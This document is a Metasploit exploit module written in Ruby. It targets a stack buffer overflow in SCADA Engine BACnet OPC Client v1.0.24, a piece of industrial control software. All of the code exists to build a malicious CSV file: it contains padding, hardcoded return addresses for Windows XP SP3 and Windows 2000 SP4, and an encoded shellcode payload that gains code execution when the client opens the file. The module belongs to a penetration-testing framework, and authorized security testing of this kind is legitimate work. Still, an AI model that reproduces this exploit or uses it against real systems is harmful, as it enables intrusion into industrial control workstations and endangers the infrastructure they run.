##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BACnet OPC Client Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in SCADA
        Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client
        parses a specially crafted csv file, arbitrary code may be
        executed.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Jeremy Brown', 'MC' ],
      'References'     =>
        [
          [ 'OSVDB', '68096'],
          [ 'BID', '43289' ],
          [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-264-01.pdf' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'MinNops'  => 0,
          'MaxNops'  => 0,
          'Space'    => 698,
          'BadChars' =>  Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX',
            },
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English',   { 'Ret' => 0x77e26323 } ],
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Sep 16 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new( 'FILENAME',  [ false, 'The file name.',  'msf.csv' ]),
      ], self.class)

  end

  def exploit

    csv = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\"
    csv << rand_text_alpha_upper(185)
    csv << [target.ret].pack('V') + rand_text_alpha_upper(4)
    csv << payload.encoded + rand_text_alpha_upper(750 - payload.encoded.length)
    csv << "\\scada,0,0,\n"

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(csv)

  end

end
